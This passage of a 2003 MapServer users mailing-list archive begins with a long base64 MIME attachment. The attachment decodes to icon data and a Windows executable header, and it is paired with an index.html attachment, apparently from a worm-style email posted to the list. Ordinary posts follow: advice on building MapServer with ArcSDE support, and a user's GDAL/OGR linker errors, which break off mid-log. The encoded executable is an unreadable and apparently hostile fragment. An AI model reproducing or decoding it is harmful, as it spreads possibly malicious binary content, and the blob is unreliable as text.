AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAwAAADgAAIAEAAAA0AAAgAYAAADoAACADgAAABABAIAQAAAA SAEAgAAAAAAAAAAABAAAAAAAEQABAAAAYAEAgAIAAAB4AQCAAwAAAJABAIAEAAAAqAEAgAUA AADAAQCABgAAANgBAIAHAAAA8AEAgAgAAAAIAgCACQAAACACAIAKAAAAOAIAgAsAAABQAgCA DAAAAGgCAIANAAAAgAIAgA4AAACYAgCADwAAALACAIAQAAAAyAIAgBEAAADgAgCAAAAAAAAA AAAEAAAAAAABAMgAAAD4AgCAAAAAAAAAAAAEAAAAAAADAAcAAAAQAwCACAAAACgDAIAJAAAA QAMAgAAAAAAAAAAABAAAAAAABQDJAAAAWAMAgCwBAABwAwCALQEAAIgDAIAuAQAAoAMAgC8B AAC4AwCAAAAAAAAAAAAEAAAAAAABAAEAAADQAwCAAAAAAAAAAAAEAAAAAAABAAwEAADoAwAA AAAAAAAAAAAEAAAAAAABAAwEAAD4AwAAAAAAAAAAAAAEAAAAAAABAAwEAAAIBAAAAAAAAAAA AAAEAAAAAAABAAwEAAAYBAAAAAAAAAAAAAAEAAAAAAABAAwEAAAoBAAAAAAAAAAAAAAEAAAA AAABAAwEAAA4BAAAAAAAAAAAAAAEAAAAAAABAAwEAABIBAAAAAAAAAAAAAAEAAAAAAABAAwE AABYBAAAAAAAAAAAAAAEAAAAAAABAAwEAABoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAB4BAAA AAAAAAAAAAAEAAAAAAABAAwEAACIBAAAAAAAAAAAAAAEAAAAAAABAAwEAACYBAAAAAAAAAAA AAAEAAAAAAABAAwEAACoBAAAAAAAAAAAAAAEAAAAAAABAAwEAAC4BAAAAAAAAAAAAAAEAAAA AAABAAwEAADIBAAAAAAAAAAAAAAEAAAAAAABAAwEAADYBAAAAAAAAAAAAAAEAAAAAAABAAwE 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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAeHh4eHh4eHh4eHh4eHh4e Hh4eHh4eHgwPHh4eHh4eHh4eHh4eHgwGFgweBAQeHh4eHh4eHh4GBgYSBAQEBB4eHh4eHh4S CwYGHAQEBAQYHh4eHh4aDwsLGREBAQIEDh4eHh4eDQkLCQgBAQECAg4eHh4eDRQbCRcIAQEB AgIVHh4eAwMDBwkIEQEBAQICAB4eAwMDAwcFCAEBAQECAAAQHgMDBwUFBQgBAgIKAAAAAAMH BwUDHh4eAQICCgAAAAAFBQMeHh4eHh4CAgoAAAAAHh4eHh4eHh4eHgIKAAAAEB4eHh4eHh4e Hh4eEwAAAB4eHh4eHh4eHh4eHh4eAB4e//8AAP5/AAD8JwAA/AMAAPgBAADwAQAA8AEAAOAB AADAAQAAgAAAAIAAAAAHAAAAH4AAAP/AAAD/4QAA//sAACgAAAAQAAAAIAAAAAEAIAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPz8/AP19fYL5+blHcrD vUjKw7tJ5uPhIfHx8RDq6Ocb6ujmHPj39wn+/v4BAAAAAAAAAAAAAAAAAAAAAP39/QL39/cJ 3eLaLIqnZKF7kEW+lZ2Gjruzq1uzvcFjmKKlja6nnW/SzMY++fn5BwAAAAAAAAAAAAAAAP7+ /gH7+/sF7PHtG5G9iaNMnyL+TI0A/26abL9+oaakWaDE1VKZveN4nquvr6mgbPTz8w4AAAAA AAAAAP7+/gH8/PwD+Pj4CLnbwnRmuXT1V7hS/1qiIv5Ro3nnK7TQ8hq85P8gs9X/M6XE8YOk qZnw8O8SAAAAAP7+/gH8+/wE9/f3Cefn4DeCu3XXWrA5/1+0N/+GkVD/V6Ct/xLG7v8IyvH/ DcLn/wq61/9GrLvL3+LhJgAAAAD8/PwD9vb2Curl4TLBuZS3aZ0b+0qiAP9pkgD/TVqQAAMA AAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v ZGUuDQ0KJAAAAAAAAABQRQAATAEFAKN7tzUAAAAAAAAAAOAADwELAQUAAKgAAACQAAAAAAAA IFEAAAAQAAAAwAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABgAQAABAAAAAAAAAIA AABAAgEAABAAAAAQAAAAEAAAAAAAABAAAACAygAANAAAAABAAQBkAAAAAFABAEgHAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAACAQgEAHAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAA RqcAAAAQAAAAqAAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAALQKAAAAwAAAAAwAAACs AAAAAAAAAAAAAAAAAABAAABALmRhdGEAAACUbQAAANAAAAA6AAAAuAAAAAAAAAAAAAAAAAAA QAAAwC5pZGF0YQAASA0AAABAAQAADgAAAPIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAEgH AAAAUAEAAAgAAAAAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=9 --NB56c6K284a9t3O4F0v58bqlsE6 --NB56c6K284a9t3O4F0v58bqlsE6 Content-Type: application/octet-stream; name=index.html Content-Transfer-Encoding: base64 Content-ID: PGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5VbnRpdGxlZCBEb2N1bWVudDwvdGl0bGU+DQo8bWV0 YSBodHRwLWVxdWl2PSJDb250ZW50LVR5cGUiIGNvbnRlbnQ9InRleHQvaHRtbDsgY2hhcnNl dD1pc28tODg1OS0xIj4NCjwvaGVhZD4NCg0KPGJvZHkgYmdjb2xvcj0iIzk5OTk5OSI+DQo8 dGFibGUgd2lkdGg9Ijc1NSIgYm9yZGVyPSIwIiBhbGlnbj0iY2VudGVyIiBjZWxscGFkZGlu Zz0iMCIgY2VsbHNwYWNpbmc9IjAiPg0KICA8dHI+IA0KICAgIDx0ZCB3aWR0aD0iMTEzIj48 aW1nIHNyYz0iaW1hZ2VzL2dsb2dvLmdpZiIgd2lkdGg9IjExMyIgaGVpZ2h0PSI4MyI+PC90 ZD4NCiAgICA8dGQgd2lkdGg9IjIwMiI+PGltZyBzcmM9ImltYWdlcy9yaWdodDEuZ2lmIiB3 aWR0aD0iMjAyIiBoZWlnaHQ9IjgzIj48L3RkPg0KICAgIDx0ZCB3aWR0aD0iMjc1Ij48aW1n IHNyYz0iaW1hZ2VzL3JpZ2h0Mi5naWYiIHdpZHRoPSIyNzUiIGhlaWdodD0iODMiPjwvdGQ+ DQogICAgPHRkIHdpZHRoPSIxNjUiIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0iYm90dG9tIiBi YWNrZ3JvdW5kPSJpbWFnZXMvc3BhY2VyLmdpZiI+PGZvbnQgY29sb3I9IiNDQzAwMDAiIHNp emU9Ii0xIiBmYWNlPSJHZW5ldmEsIEFyaWFsLCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPjxz dHJvbmc+dG9kYXkgDQogICAgICBpcyBtb24sIEphbiA3LCAyMDAzPC9zdHJvbmc+PC9mb250 PjwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQogICAgPHRkPjxpbWcgc3JjPSJpbWFnZXMvbGVm dDEuZ2lmIiB3aWR0aD0iMTEzIiBoZWlnaHQ9IjMyIj48L3RkPg0KICAgIDx0ZCBjb2xzcGFu PSIyIiB2YWxpZ249InRvcCIgYmFja2dyb3VuZD0iaW1hZ2VzL2JhY2suZ2lmIj48Zm9udCBz aXplPSItMSIgZmFjZT0iQXJpYWwsIEhlbHZldGljYSwgc2Fucy1zZXJpZiI+YWJvdXQgDQog ICAgICBtZSB8IGd1ZXN0IGJvb2sgfCBsaW5rcyB8IGdhbWVzIHwgZ2FsbGVyeSB8IHNlYXJj aCBteSBzaXRlIHwgYWR2ZXJ0aXNlIHdpdGggDQogICAgICBtZTwvZm9udD48L3RkPg0KICAg IDx0ZCBiYWNrZ3JvdW5kPSJpbWFnZXMvYmFjay5naWYiPiZuYnNwOzwvdGQ+DQogIDwvdHI+ DQogIDx0cj4gDQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQog ICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQogIDx0 cj4gDQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRk PiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQogIDx0cj4gDQog ICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogICAgPHRkPiZuYnNw OzwvdGQ+DQogICAgPHRkPiZuYnNwOzwvdGQ+DQogIDwvdHI+DQo8L3RhYmxlPg0KPHAgYWxp Z249ImNlbnRlciI+Jm5ic3A7IDwvcD4NCjxociB3aWR0aD0iNzgwIiBzaXplPSIyIj4NCjxk aXYgYWxpZ249ImNlbnRlciI+PGZvbnQgc2l6ZT0iLTIiIGZhY2U9IlZlcmRhbmEsIEFyaWFs LCBIZWx2ZXRpY2EsIHNhbnMtc2VyaWYiPiBDb3B5cmlnaHQgDQogICZjb3B5OyAyMDAzIEdl cmFsZE9ubGluZSBTeXN0ZW1zLiBBbGwgcmlnaHRzIFJlc2VydmVkLiA8YnI+DQogIEZvciBj b21tZW50cyBhbmQgc3VnZ2VzdGlvbnMsIGVtYWlsIHRvIDxhIGhyZWY9Im1haWx0bzpnZXJh bGRAY3Zpcy5uZXQucGgiPmdlcmFsZEBjdmlzLm5ldC5waDwvYT48YnI+DQogIERhdGUgbGFz dCBtb2RpZmllZCA6IEphbnVhcnksIDIwMDM8L2ZvbnQ+PC9kaXY+DQo8L2JvZHk+DQo8L2h0 bWw+DQ=9 --NB56c6K284a9t3O4F0v58bqlsE6-- From frank.koormann at intevation.de Wed Jan 8 02:06:42 2003 From: frank.koormann at intevation.de (Frank Koormann) Date: Wed, 8 Jan 2003 11:06:42 +0100 Subject: [Mapserver-users] Mapserver and ArcSDE (fwd) In-Reply-To: References: Message-ID: <20030108100642.GA29078@intevation.de> Dear Petra, * Steve Lime [030107 23:35]: > It means you haven't compiled MapServer against the SDE client libs... > > "Petra Bergholz" [030107 12:46]: > > > > Hi, > > > > I have a question: > > I tried to run the Minnesota Mapserver with data from an ArcSDE Layer, > > but I get the following error-message: > > " msSDELayerOpen(): General error message. SDE support is not > > available. > > " as Steve already pointed out you have to build MapServer with SDE support and linked against the SDE client libs. Therfore you have to define (Assuming you are working under MS Windows) SDE_OPT= -DUSE_SDE -DWIN32 SDE_INC= SDE_LIB= The later two have to be configured according to your develoment environment. Kind regards, Frank Koormann -- Frank Koormann Professional Service around Free Software (http://intevation.net/) FreeGIS Project (http://freegis.org/) From philipp.jacob at geosysnet.de Wed Jan 8 03:20:11 2003 From: philipp.jacob at geosysnet.de (Philipp Jacob) Date: Wed, 08 Jan 2003 12:20:11 +0100 Subject: [Mapserver-users] mapserver compile problems References: <200301071654.h07GsxR28788@yogi.medinaco.net> Message-ID: <3E1C096B.3010106@geosysnet.de> i looked for the files 'libgdal.1.1.so' and 'gdal.h' on my system and found it in the following paths: /usr/local/lib/libgdal.1.1.so /usr/local/include/gdal.h /usr/local/src/gdal-1.1.7/libgdal.1.1so /usr/local/src/gdal-1.1.7/core/gdal.h the first is the location where gdal was installed to. and the second one is just the source directory. looks like that this was not the final answer for my problem. it would have been too easy.. ;-) i start to despair of that thing. :-( really strange... Lowell Filak wrote: >I believe the final answer is here: >http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0206/msg00385.html >Looks like you will need to do some tinkering to sort this one out. >Good luck. >Lowell > >The following message was sent by Philipp Jacob on Tue, 07 Jan 2003 17:02:19 +0100. > > > >>first of all, it didn't work. :-| >> >>i recompiled the gdal library. >>configure checked for OGR support and enabled it. well, sounds nice. >>'make all' 'make install' done.. >> >>then i configured the mapserver again. >>additionally with the option: --with-ogr >>configure finished successfully and i had a look at the Makefile. >>OGR support is mentioned there, and the right paths are set. >>(/usr/local/lib -lgdal.1.1) >> >>but 'make' brings even more 'undefined references' than before: >> >>------------ >>... >>/opt/gcc295/bin/gcc -O2 -Wall -DIGNORE_MISSING_DATA -DUSE_EPPL >>-DUSE_PROJ -DUSE_WMS -DUSE_WMS_LYR -DUSE_TIFF -DUSE_JPEG -DUSE_GD_PNG >>-DUSE_GD_JPEG -DUSE_GD_WBMP -DUSE_GD_FT -DUSE_OGR -DUSE_GDAL >>-I/usr/local/include -I/usr/local/include -I/usr/local/include >>-I/usr/local/include -I/usr/local/include/w3c-libwww -DHAVE_CONFIG_H >>shp2img.o -L. -lmap -lgd -L/usr/local/lib -lgd -ljpeg -lttf -lpng -lz >>-ltiff -ljpeg -lttf -lpng -lz -lproj -ljpeg -L/usr/local/lib >>-lgdal.1.1 -L/usr/local/lib -lwwwxml -lxmltok -lxmlparse -lwwwinit >>-lwwwapp -lwwwhtml -lwwwtelnet -lwwwnews -lwwwhttp -lwwwmime -lwwwgopher >>-lwwwftp -lwwwfile -lwwwdir -lwwwcache -lwwwstream -lwwwmux -lwwwtrans >>-lwwwcore -lwwwutils -lmd5 -ldl -lm -o shp2img >>./libmap.a(mapogr.o): In function `ogrGeomPoints(OGRGeometry *, shapeObj >>*)': >>mapogr.o(.text+0x16c): undefined reference to >>`OGRPolygon::getExteriorRing(void)' >>mapogr.o(.text+0x199): undefined reference to >>`OGRPolygon::getInteriorRing(int)' >>mapogr.o(.text+0x1b3): 